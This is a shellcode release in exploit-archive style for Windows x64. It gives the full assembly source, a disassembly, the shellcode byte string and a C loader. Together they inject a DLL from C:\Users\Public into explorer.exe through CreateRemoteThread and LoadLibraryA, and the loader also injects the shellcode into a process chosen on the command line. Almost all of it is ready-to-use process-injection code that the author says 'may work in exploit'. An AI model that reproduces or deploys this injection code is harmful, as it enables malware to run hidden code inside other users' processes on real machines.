/*
Title: Windows x64 dll injection shellcode (using CreateRemoteThread())
Size: 584 bytes
Date: 16-01-2017
Author: Roziul Hasan Khan Shifat
Tested On : Windows 7 x64
*/
//Note : i wrtie it for process injection
//It may work in exploit
/*
section .text
global _start
_start:
xor r8,r8
push r8
push r8
mov [rsp],dword 'expl'
mov [rsp+4],dword 'orer'
mov [rsp+8],dword '.exe'
lea rcx,[rsp] ;;process name (explorer.exe) change it if U want
push r8
push r8
push r8
mov [rsp],dword 'C:\U'
mov [rsp+4],dword 'sers'
mov [rsp+8],dword '\Pub'
mov [rsp+12],dword 'lic\'
mov [rsp+16],dword 'in.d'
mov [rsp+20],word 'll'
lea rdx,[rsp] ;path of the dll (change it to U full path of dll)
;--------------------------------------------------------
mov r8w,336
sub rsp,r8
lea r12,[rsp]
push 24
pop r8 ;(important: length of dll path string including null byte)
mov [r12],rcx ;process name
mov [r12+8],rdx ;dll path
mov [r12+16],r8 ;length of dll path string
;----------------------------------------------------------
_main:
cdq
mov rax,[gs:rdx+0x60] ;peb
mov rax,[rax+0x18] ;peb->Ldr
mov rsi,[rax+0x10] ;peb->Ldr.InMemOrderModuleList
lodsq
mov rsi,[rax]
mov rdi,[rsi+0x30] ;rdi=kernel32.dll base address
;------------------------------------------
mov dl,0x88
mov ebx,[rdi+0x3c] ;DOS_HEADER->elf_anew
add rbx,rdi ;IMAGE_OPTIONAL_HEADER32
mov ebx,[rbx+rdx] ;IMAGE_DATA_DIRECTORY->VirtualAddress
add rbx,rdi ;IMAGE_EXPORT_DIRECTORY (Export table of kernel32.dll)
mov esi,[rbx+0x1c] ;kenrel32.dll AddressOfFunction
add rsi,rdi
;-------------------------------------------------------
;loading msvcrt.dll
cdq
push rdx
mov dx,832
mov ebx,[rsi+rdx*4]
add rbx,rdi
mov [rsp],dword 'msvc'
mov [rsp+4],word 'rt'
lea rcx,[rsp]
sub rsp,88
call rbx
;-------------------------------
;Finding address of strcmp()
lea rdx,[rsp+88]
mov [rdx],dword 'strc'
mov [rdx+4],word 'mp'
mov rcx,rax
mov r8w,587*4
mov ebx,[rsi+r8]
add rbx,rdi
call rbx
;-----------------------------
mov [r12+24],rax ;address of strcmp()
;---------------------------------------------------------------
mov dx,190*4
mov ebx,[rsi+rdx]
add rbx,rdi ;CreateToolhelp32Snapshot()
;--------------------------------
;HANDLE WINAPI CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)
xor rdx,rdx ;DWORD th32ProcessID
push 2
pop rcx ;DWORD dwFlags
call rbx
mov r13,rax ;HANDLE
cmp r13,-1
je __exit
;---------------------------------------------
mov dx,304
mov [r12+32],dword edx ;sizeof PROCESSENTRY32
mov dx,920*4
mov ebx,[rsi+rdx]
add rbx,rdi ;rbx=Process32First()
;WINBOOL WINAPI Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe);
lea rdx,[r12+32] ;LPPROCESSENTRY32 lppe
mov rcx,r13 ;HANDLE hSnapshot
call rbx
cmp rax,1
jne __exit
;---------------------------------------------------
xor rdx,rdx
mov dx,922*4
mov r15d,[rsi+rdx]
add r15,rdi ;r15=Process32Next()
sub rsp,88
get_pid:
lea rcx,[r12+76] ;PROCESSENRY32.CHAR szExeFile[MAX_PATH=260]
mov rdx,[r12] ;process name
mov rbx,[r12+24] ;strcmp()
call rbx
xor rdx,rdx
cmp rax,rdx
jz inject
;WINBOOL WINAPI Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
mov rcx,r13
lea rdx,[r12+32]
call r15
cmp rax,1
je get_pid
leave
ret
__exit:
xor rdx,rdx
push rdx
mov dx,297*4
mov ebx,[rsi+rdx]
add rbx,rdi
pop rcx
call rbx
;--------------------------------------------------
;------------------------------------------------------
;inject function
inject:
xor rdx,rdx
push rdx
pop r10
mov r10w,899*4
mov ebx,[rsi+r10]
add rbx,rdi ;rbx=OpenProcess()
;WINBASEAPI HANDLE WINAPI OpenProcess (DWORD dwDesiredAccess, WINBOOL bInheritHandle, DWORD dwProcessId)
push rdx
pop rcx
mov r8d,[r12+40] ;PROCESSENTRY32.DWORD th32ProcessID
;0x1e84800a-0x1e65700b=2035711 (PROCESS_ALL_ACCESS)
mov ecx,0x1e84800a
sub ecx,0x1e65700b
call rbx
mov r13,rax ;PROCESS HANDLE
cmp r13,-1
je __exit
;--------------------------------------------------------------------
mov dx,1279
mov ebx,[rsi+rdx*4]
add rbx,rdi ;VirualAlloc()
;WINBASEAPI LPVOID WINAPI VirtualAllocEx (HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
sub rsp,88
mov rcx,r13 ;HANDLE hProcess
xor rdx,rdx ;LPVOID lpAddress
mov r8,[r12+16] ;SIZE_T dwSize
mov r9w,0x2fff
inc r9;DWORD flAllocationType = (MEM_COMMIT | MEM_RESERVE)
mov [rsp+32],byte 0x4 ;DWORD flProtect = PAGE_READWRITE
call rbx
mov r14,rax ;LPVOID address
xor rdx,rdx
cmp rax,rdx
jz __exit
;-----------------------------------------------------------------------------------
mov dx,1347
mov ebx,[rsi+rdx*4]
add rbx,rdi ;WriteProcessMemory()
sub rsp,88
xor rdx,rdx
;WINBASEAPI WINBOOL WINAPI WriteProcessMemory (HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten)
mov [rsp+32],rdx ;SIZE_T *lpNumberOfBytesWritten
mov rcx,r13 ;HANDLE hProcess
mov rdx,r14 ;LPVOID lpBaseAddress
mov r8,[r12+8] ;LPCVOID lpBuffer
mov r9,[r12+16] ;SIZE_T nSize
call rbx
cmp rax,1
jne __exit
;------------------------------------------------------------------------------------
mov dx,170*4
mov ebx,[rsi+rdx]
add rbx,rdi ;CreateRemoteThread()
xor rdx,rdx
sub rsp,88
;WINBASEAPI HANDLE WINAPI CreateRemoteThread (HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId)
mov rcx,r13 ;HANDLE hProcess
push rdx
push rdx
pop r8 ;SIZE_T dwStackSize
mov dx,832
mov r9d,[rsi+rdx*4]
add r9,rdi ;LPTHREAD_START_ROUTINE lpStartAddress (LoadLibraryA())
pop rdx ;LPSECURITY_ATTRIBUTES lpThreadAttributes
mov [rsp+32],r14 ;LPVOID lpParameter
mov [rsp+40],r8
mov [rsp+48],r8
call rbx
call __exit
;------------------------------------------------------------
*/
/*
dll_inj.obj: file format pe-x86-64
Disassembly of section .text:
0000000000000000 <_start>:
0: 4d 31 c0 xor %r8,%r8
3: 41 50 push %r8
5: 41 50 push %r8
7: c7 04 24 65 78 70 6c movl $0x6c707865,(%rsp)
e: c7 44 24 04 6f 72 65 movl $0x7265726f,0x4(%rsp)
15: 72
16: c7 44 24 08 2e 65 78 movl $0x6578652e,0x8(%rsp)
1d: 65
1e: 48 8d 0c 24 lea (%rsp),%rcx
22: 41 50 push %r8
24: 41 50 push %r8
26: 41 50 push %r8
28: c7 04 24 43 3a 5c 55 movl $0x555c3a43,(%rsp)
2f: c7 44 24 04 73 65 72 movl $0x73726573,0x4(%rsp)
36: 73
37: c7 44 24 08 5c 50 75 movl $0x6275505c,0x8(%rsp)
3e: 62
3f: c7 44 24 0c 6c 69 63 movl $0x5c63696c,0xc(%rsp)
46: 5c
47: c7 44 24 10 69 6e 2e movl $0x642e6e69,0x10(%rsp)
4e: 64
4f: 66 c7 44 24 14 6c 6c movw $0x6c6c,0x14(%rsp)
56: 48 8d 14 24 lea (%rsp),%rdx
5a: 66 41 b8 50 01 mov $0x150,%r8w
5f: 4c 29 c4 sub %r8,%rsp
62: 4c 8d 24 24 lea (%rsp),%r12
66: 6a 18 pushq $0x18
68: 41 58 pop %r8
6a: 49 89 0c 24 mov %rcx,(%r12)
6e: 49 89 54 24 08 mov %rdx,0x8(%r12)
73: 4d 89 44 24 10 mov %r8,0x10(%r12)
0000000000000078 <_main>:
78: 99 cltd
79: 65 48 8b 42 60 mov %gs:0x60(%rdx),%rax
7e: 48 8b 40 18 mov 0x18(%rax),%rax
82: 48 8b 70 10 mov 0x10(%rax),%rsi
86: 48 ad lods %ds:(%rsi),%rax
88: 48 8b 30 mov (%rax),%rsi
8b: 48 8b 7e 30 mov 0x30(%rsi),%rdi
8f: b2 88 mov $0x88,%dl
91: 8b 5f 3c mov 0x3c(%rdi),%ebx
94: 48 01 fb add %rdi,%rbx
97: 8b 1c 13 mov (%rbx,%rdx,1),%ebx
9a: 48 01 fb add %rdi,%rbx
9d: 8b 73 1c mov 0x1c(%rbx),%esi
a0: 48 01 fe add %rdi,%rsi
a3: 99 cltd
a4: 52 push %rdx
a5: 66 ba 40 03 mov $0x340,%dx
a9: 8b 1c 96 mov (%rsi,%rdx,4),%ebx
ac: 48 01 fb add %rdi,%rbx
af: c7 04 24 6d 73 76 63 movl $0x6376736d,(%rsp)
b6: 66 c7 44 24 04 72 74 movw $0x7472,0x4(%rsp)
bd: 48 8d 0c 24 lea (%rsp),%rcx
c1: 48 83 ec 58 sub $0x58,%rsp
c5: ff d3 callq *%rbx
c7: 48 8d 54 24 58 lea 0x58(%rsp),%rdx
cc: c7 02 73 74 72 63 movl $0x63727473,(%rdx)
d2: 66 c7 42 04 6d 70 movw $0x706d,0x4(%rdx)
d8: 48 89 c1 mov %rax,%rcx
db: 66 41 b8 2c 09 mov $0x92c,%r8w
e0: 42 8b 1c 06 mov (%rsi,%r8,1),%ebx
e4: 48 01 fb add %rdi,%rbx
e7: ff d3 callq *%rbx
e9: 49 89 44 24 18 mov %rax,0x18(%r12)
ee: 66 ba f8 02 mov $0x2f8,%dx
f2: 8b 1c 16 mov (%rsi,%rdx,1),%ebx
f5: 48 01 fb add %rdi,%rbx
f8: 48 31 d2 xor %rdx,%rdx
fb: 6a 02 pushq $0x2
fd: 59 pop %rcx
fe: ff d3 callq *%rbx
100: 49 89 c5 mov %rax,%r13
103: 49 83 fd ff cmp $0xffffffffffffffff,%r13
107: 74 60 je 169 <__exit>
109: 66 ba 30 01 mov $0x130,%dx
10d: 41 89 54 24 20 mov %edx,0x20(%r12)
112: 66 ba 60 0e mov $0xe60,%dx
116: 8b 1c 16 mov (%rsi,%rdx,1),%ebx
119: 48 01 fb add %rdi,%rbx
11c: 49 8d 54 24 20 lea 0x20(%r12),%rdx
121: 4c 89 e9 mov %r13,%rcx
124: ff d3 callq *%rbx
126: 48 83 f8 01 cmp $0x1,%rax
12a: 75 3d jne 169 <__exit>
12c: 48 31 d2 xor %rdx,%rdx
12f: 66 ba 68 0e mov $0xe68,%dx
133: 44 8b 3c 16 mov (%rsi,%rdx,1),%r15d
137: 49 01 ff add %rdi,%r15
13a: 48 83 ec 58 sub $0x58,%rsp
000000000000013e <get_pid>:
13e: 49 8d 4c 24 4c lea 0x4c(%r12),%rcx
143: 49 8b 14 24 mov (%r12),%rdx
147: 49 8b 5c 24 18 mov 0x18(%r12),%rbx
14c: ff d3 callq *%rbx
14e: 48 31 d2 xor %rdx,%rdx
151: 48 39 d0 cmp %rdx,%rax
154: 74 24 je 17a <inject>
156: 4c 89 e9 mov %r13,%rcx
159: 49 8d 54 24 20 lea 0x20(%r12),%rdx
15e: 41 ff d7 callq *%r15
161: 48 83 f8 01 cmp $0x1,%rax
165: 74 d7 je 13e <get_pid>
167: c9 leaveq
168: c3 retq
0000000000000169 <__exit>:
169: 48 31 d2 xor %rdx,%rdx
16c: 52 push %rdx
16d: 66 ba a4 04 mov $0x4a4,%dx
171: 8b 1c 16 mov (%rsi,%rdx,1),%ebx
174: 48 01 fb add %rdi,%rbx
177: 59 pop %rcx
178: ff d3 callq *%rbx
000000000000017a <inject>:
17a: 48 31 d2 xor %rdx,%rdx
17d: 52 push %rdx
17e: 41 5a pop %r10
180: 66 41 ba 0c 0e mov $0xe0c,%r10w
185: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx
189: 48 01 fb add %rdi,%rbx
18c: 52 push %rdx
18d: 59 pop %rcx
18e: 45 8b 44 24 28 mov 0x28(%r12),%r8d
193: b9 0a 80 84 1e mov $0x1e84800a,%ecx
198: 81 e9 0b 70 65 1e sub $0x1e65700b,%ecx
19e: ff d3 callq *%rbx
1a0: 49 89 c5 mov %rax,%r13
1a3: 49 83 fd ff cmp $0xffffffffffffffff,%r13
1a7: 74 c0 je 169 <__exit>
1a9: 66 ba ff 04 mov $0x4ff,%dx
1ad: 8b 1c 96 mov (%rsi,%rdx,4),%ebx
1b0: 48 01 fb add %rdi,%rbx
1b3: 48 83 ec 58 sub $0x58,%rsp
1b7: 4c 89 e9 mov %r13,%rcx
1ba: 48 31 d2 xor %rdx,%rdx
1bd: 4d 8b 44 24 10 mov 0x10(%r12),%r8
1c2: 66 41 b9 ff 2f mov $0x2fff,%r9w
1c7: 49 ff c1 inc %r9
1ca: c6 44 24 20 04 movb $0x4,0x20(%rsp)
1cf: ff d3 callq *%rbx
1d1: 49 89 c6 mov %rax,%r14
1d4: 48 31 d2 xor %rdx,%rdx
1d7: 48 39 d0 cmp %rdx,%rax
1da: 74 8d je 169 <__exit>
1dc: 66 ba 43 05 mov $0x543,%dx
1e0: 8b 1c 96 mov (%rsi,%rdx,4),%ebx
1e3: 48 01 fb add %rdi,%rbx
1e6: 48 83 ec 58 sub $0x58,%rsp
1ea: 48 31 d2 xor %rdx,%rdx
1ed: 48 89 54 24 20 mov %rdx,0x20(%rsp)
1f2: 4c 89 e9 mov %r13,%rcx
1f5: 4c 89 f2 mov %r14,%rdx
1f8: 4d 8b 44 24 08 mov 0x8(%r12),%r8
1fd: 4d 8b 4c 24 10 mov 0x10(%r12),%r9
202: ff d3 callq *%rbx
204: 48 83 f8 01 cmp $0x1,%rax
208: 0f 85 5b ff ff ff jne 169 <__exit>
20e: 66 ba a8 02 mov $0x2a8,%dx
212: 8b 1c 16 mov (%rsi,%rdx,1),%ebx
215: 48 01 fb add %rdi,%rbx
218: 48 31 d2 xor %rdx,%rdx
21b: 48 83 ec 58 sub $0x58,%rsp
21f: 4c 89 e9 mov %r13,%rcx
222: 52 push %rdx
223: 52 push %rdx
224: 41 58 pop %r8
226: 66 ba 40 03 mov $0x340,%dx
22a: 44 8b 0c 96 mov (%rsi,%rdx,4),%r9d
22e: 49 01 f9 add %rdi,%r9
231: 5a pop %rdx
232: 4c 89 74 24 20 mov %r14,0x20(%rsp)
237: 4c 89 44 24 28 mov %r8,0x28(%rsp)
23c: 4c 89 44 24 30 mov %r8,0x30(%rsp)
241: ff d3 callq *%rbx
243: e8 21 ff ff ff callq 169 <__exit>
*/
#include<stdio.h>
#include<windows.h>
#include<TlHelp32.h>
#include<string.h>
char shellcode[]="\x4d\x31\xc0\x41\x50\x41\x50\xc7\x04\x24\x65\x78\x70\x6c\xc7\x44\x24\x04\x6f\x72\x65\x72\xc7\x44\x24\x08\x2e\x65\x78\x65\x48\x8d\x0c\x24\x41\x50\x41\x50\x41\x50\xc7\x04\x24\x43\x3a\x5c\x55\xc7\x44\x24\x04\x73\x65\x72\x73\xc7\x44\x24\x08\x5c\x50\x75\x62\xc7\x44\x24\x0c\x6c\x69\x63\x5c\xc7\x44\x24\x10\x69\x6e\x2e\x64\x66\xc7\x44\x24\x14\x6c\x6c\x48\x8d\x14\x24\x66\x41\xb8\x50\x01\x4c\x29\xc4\x4c\x8d\x24\x24\x6a\x18\x41\x58\x49\x89\x0c\x24\x49\x89\x54\x24\x08\x4d\x89\x44\x24\x10\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x99\x52\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\xc7\x04\x24\x6d\x73\x76\x63\x66\xc7\x44\x24\x04\x72\x74\x48\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x48\x8d\x54\x24\x58\xc7\x02\x73\x74\x72\x63\x66\xc7\x42\x04\x6d\x70\x48\x89\xc1\x66\x41\xb8\x2c\x09\x42\x8b\x1c\x06\x48\x01\xfb\xff\xd3\x49\x89\x44\x24\x18\x66\xba\xf8\x02\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x6a\x02\x59\xff\xd3\x49\x89\xc5\x49\x83\xfd\xff\x74\x60\x66\xba\x30\x01\x41\x89\x54\x24\x20\x66\xba\x60\x0e\x8b\x1c\x16\x48\x01\xfb\x49\x8d\x54\x24\x20\x4c\x89\xe9\xff\xd3\x48\x83\xf8\x01\x75\x3d\x48\x31\xd2\x66\xba\x68\x0e\x44\x8b\x3c\x16\x49\x01\xff\x48\x83\xec\x58\x49\x8d\x4c\x24\x4c\x49\x8b\x14\x24\x49\x8b\x5c\x24\x18\xff\xd3\x48\x31\xd2\x48\x39\xd0\x74\x24\x4c\x89\xe9\x49\x8d\x54\x24\x20\x41\xff\xd7\x48\x83\xf8\x01\x74\xd7\xc9\xc3\x48\x31\xd2\x52\x66\xba\xa4\x04\x8b\x1c\x16\x48\x01\xfb\x59\xff\xd3\x48\x31\xd2\x52\x41\x5a\x66\x41\xba\x0c\x0e\x42\x8b\x1c\x16\x48\x01\xfb\x52\x59\x45\x8b\x44\x24\x28\xb9\x0a\x80\x84\x1e\x81\xe9\x0b\x70\x65\x1e\xff\xd3\x49\x89\xc5\x49\x83\xfd\xff\x74\xc0\x66\xba\xff\x04\x8b\x1c\x96\x48\x01\xfb\x48\x83\xec\x58\x4c\x89\xe9\x48\x31\xd2\x4d\x8b\x44\x24\x10\x66\x41\xb9\xff\x2f\x49\xff\xc1\xc6\x44\x24\x20\x04\xff\xd3\x49\x89\xc6\x48\x31\xd2\x48\x39\xd0\x74\x8d\x66\xba\x43\x05\x8b\x1c\x96\x48\x01\xfb\x48\x83\xec\x58\x48\x31\xd2\x48\x89\x54\x24\x20\x4c\x89\xe9\x4c\x89\xf2\x4d\x8b\x44\x24\x08\x4d\x8b\x4c\x24\x10\xff\xd3\x48\x83\xf8\x01\x0f\x85\x5b\xff\xff\xff\x66\xba\xa8\x02\x8b\x1c\x16\x48\x01\xfb\x48\x31\xd2\x48\x83\xec\x58\x4c\x89\xe9\x52\x52\x41\x58\x66\xba\x40\x03\x44\x8b\x0c\x96\x49\x01\xf9\x5a\x4c\x89\x74\x24\x20\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\xff\xd3\xe8\x21\xff\xff\xff";
void inject(DWORD );
int main(int i,char *a[])
{
if(i!=2)
{
printf("Usage %s <program name>",a[0]);
return 0;
}
BOOL f=0;
HANDLE snap;
PROCESSENTRY32 pe32;
snap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
if(snap==INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot() Failed."); return 0;
}
pe32.dwSize=sizeof(pe32);
if(!Process32First(snap,&pe32))
{
printf("Process32First() Failed."); return 0;
}
do
{
if(0==strncmp(a[1],pe32.szExeFile,strlen(pe32.szExeFile)))
{
f=TRUE;
break;
}
}while(Process32Next(snap,&pe32));
if(!f)
{
printf("No infomation found about \"%s\" ",a[1]);
}
else
{
printf("Program name:%s\nProcess id: %d",pe32.szExeFile,pe32.th32ProcessID);
printf("\nInjecting shellcode");
inject(pe32.th32ProcessID);
}
return 0;
}
void inject(DWORD pid)
{
HANDLE phd,h;
LPVOID shell;
phd=OpenProcess(PROCESS_ALL_ACCESS,0,pid);
if(phd==INVALID_HANDLE_VALUE)
{
printf("\nOpenProcess() Failed."); return ;
}
shell=VirtualAllocEx(phd,0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(shell==NULL)
{
printf("\nVirtualAllocEx() Failed"); return ; CloseHandle(phd);
}
WriteProcessMemory(phd,shell,shellcode,sizeof(shellcode),0);
printf("\nInjection successfull\n");
printf("Running Shellcode......\n");
h=CreateRemoteThread(phd,NULL,2046,(LPTHREAD_START_ROUTINE)shell,NULL,0,0);
if(h==NULL)
{
printf("Failed to Run Shellcode\n"); return ;
}
}
